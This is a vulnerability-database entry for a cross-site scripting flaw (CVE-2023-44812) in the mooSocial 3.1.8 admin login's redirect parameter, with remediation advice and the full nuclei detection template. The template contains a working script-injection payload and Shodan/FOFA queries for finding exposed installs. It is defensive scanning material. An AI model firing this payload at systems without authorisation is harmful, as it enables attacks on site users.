HexBrain

Browse / CVEs / CVE-2023-44812

CVE-2023-44812· moosocial / moosocial· CWE-79

mooSocial v.3.1.8 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

A cross-site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code by sending a crafted payload to the admin_redirect_url parameter of the user login function.

Impact

Allows attackers to execute malicious scripts in the context of a user's browser session.

Fix

Apply the vendor-supplied patch or upgrade to a version that addresses the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "mooSocial"
Send: GET {{BaseURL}}/admin/home/login?admin_redirect_url=aHR0cDovL2xvY2FsaG9zdC9tb29zb2NpYWwvYWRtaW4vcGx1Z2lucw%22%3e%3cscript%3ealert(document.domain)%3c%2fs…
Positive when: status_code == 200 and contains(header, "text/html") and contains(body, "<script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2023-44812 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-44812

info:
  name: mooSocial v.3.1.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A cross-site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code by sending a crafted payload to the admin_redirect_url parameter of the user login function.
  impact: |
    Allows attackers to execute malicious scripts in the context of a user's browser session.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a version that addresses the XSS vulnerability.
  reference:
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/ahrixia/CVE-2023-44812
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44812
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44812
    cwe-id: CWE-79
    epss-score: 0.02008
    epss-percentile: 0.81003
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: moosocial
    product: moosocial
    shodan-query: "http.favicon.hash:\"702863115\""
    fofa-query: "icon_hash=\"702863115\""
  tags: cve2023,cve,moosocial,xss,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "mooSocial"
        internal: true
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/admin/home/login?admin_redirect_url=aHR0cDovL2xvY2FsaG9zdC9tb29zb2NpYWwvYWRtaW4vcGx1Z2lucw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from